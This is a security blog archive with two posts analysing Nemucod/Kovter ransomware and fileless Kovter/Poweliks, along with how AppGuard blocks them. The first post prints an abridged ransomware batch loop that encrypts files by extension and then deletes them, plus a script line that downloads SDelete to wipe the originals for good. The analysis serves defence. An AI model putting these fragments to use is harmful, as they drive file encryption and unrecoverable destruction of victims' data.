Tag Archives: Kovter

Developers of Ransomware JS/Nemucod.FG and Kovter take security seriously

25 June 2016

Ransomware Kovter is delivered e.g. through a malicious email attachment named Court_Notification_0000928697.doc.js. The developers of this script take security really serious.

The script downloads encryption programs from a list of malicious sites. It then calls the windows command shell and loops through every fixed and network drive in its search for files to be encrypted. The command below shows a code fragment for the encryption of files stored on drive C:

for /r "C:\" %i in (*.zip *.rar *.7z *.tar *.gz *.xls *.xlsx *.doc *.do ... ) do (
      (ECHO "%~pi" | FINDSTR /I "appdata application ... " 1>NUL)) ||
      (if %~zi LSS 10000000 if %~zi GTR 10000 (
(1)          call %TEMP%\a1.exe -mx0 -mhe -p"<Encryption Key>" "%i.crypted" "%i"
(2)          Delete %i
             ECHO %i >>"%TEMP%\a.log"

The encryption program a1.exe (1) creates an encrypted copy with extension crypted, In the next step the script deletes (2) the original file.

The Delete command is somewhat special in this case. The script downloads the program Sdelete from Windows Sysinternals and stores the downloaded file in %TEMP%\a9.exe:

xo.open("GET","https:´//live.sysinternals.com/sdelete.exe", false); 
if(xa.size>100000) { xa.saveToFile(%TEMP%\a9.exe",2);};

If the download is successful command a9.exe -a -q is used to delete the original file.

From the Sysinternals homepage one learns that

SDelete implements the Department of Defense clearing and sanitizing standard DOD 5220.22-M, to give you confidence that once deleted with SDelete, your file data is gone forever.

With this it is not possible to recover the deleted files with disk utilities or with the help of a data rescue lab.

Fortunately, the encryption programs are downloaded to User Space. Within the download loop the developer checks whether the program can be executed on the system. Since the program is executed from User Space AppGuard blocks the execution and prevents the script from starting the main loop over all drives and about 80 file types:

AppGuard stops A2.exe

AppGuard stops A2.exe

Appguard stops A1.exe

AppGuard stops A1.exe

In this case the java script loads two encryption programs from the attacker’s download servers. A2.exe is identified as Trojan:Win32/Dynamer!ac (Microsoft) or BehavesLike.Win32.Ramnit.cc (McAfee Gateway Edition), A1.exe as Trojan:Win32/Kovter!rfn (Microsoft) or Trojan-FIMO!571F44310A86 (McAfee Gateway Edition). The script is identified as TrojanDownloader:JS/Nemucod.FG (Microsoft) or JS/Nemucod.ie (McAfee Gateway Edition).

Take care! And have a good weekend.


AppGuard protection concepts II

19 June 2016

Preventing the execution of whatever scripts or executables from User Space is one of the basic security concepts of AppGuard. Unfortunately, the User Space concept does not work in the case of fileless malware. A very prominent representative of this malware type is Poweliks.  Poweliks was first detected in August 2014. It hides its payload in the Windows registry, no file is written during the first infection phase.

In the McAfee Labs Threats Report: November 2015 McAfee researchers described in detail how the fileless Kovter malware infects a victim’s system. Kovter writes JavaScript to the registry. This script calls an encrypted PowerShell Script which is also stored in the registry. Finally, the code is written to the memory of another process and executed within the context of this memory.

During this last write process AppGuard’s MemoryGuard enters the game:

Memory protection is designed to prevent one process (originator) from altering or reading the memory of another process (target). Attackers try to re-allocate memory, place executable code into the newly allocated memory, and then execute this code. This type of attack is known as memory code injection and memory scraping. This attack has been widely used in file-less malware which exists only in memory, and Trojan downloader type of malware.

Sound’s easy. Again, ProcessExplorer is the perfect means to show how MemoryGuard works:

Process Explorer: User Process Tree Unprotected

Process Explorer: User Process Tree Unprotected

Process Explorer: User Process Tree in Protected Mode

Process Explorer: User Process Tree in Protected Mode

In Protected mode icons and process descriptions are no longer displayed. Process Explorer retrieves these details from the process memory, and MemoryGuard blocks read access.

Process Explorer: Regedit Process Details Unprotected

Process Explorer: Process Details Unprotected

Process Explorer: Regedit Process Details Protected

Process Explorer: Process Details Protected

In Protected mode important process details are no longer displayed. Process Explorer reads these details from a process’ memory and displays them in the Properties dialogue. If AppGuard is operated in the default mode Protected, MemoryGuard blocks this reading operations, thus details about the process cannot be retrieved.

MemoryGuard is a really charming concept, and out-of-the-box available after installation.

Have a good weekend.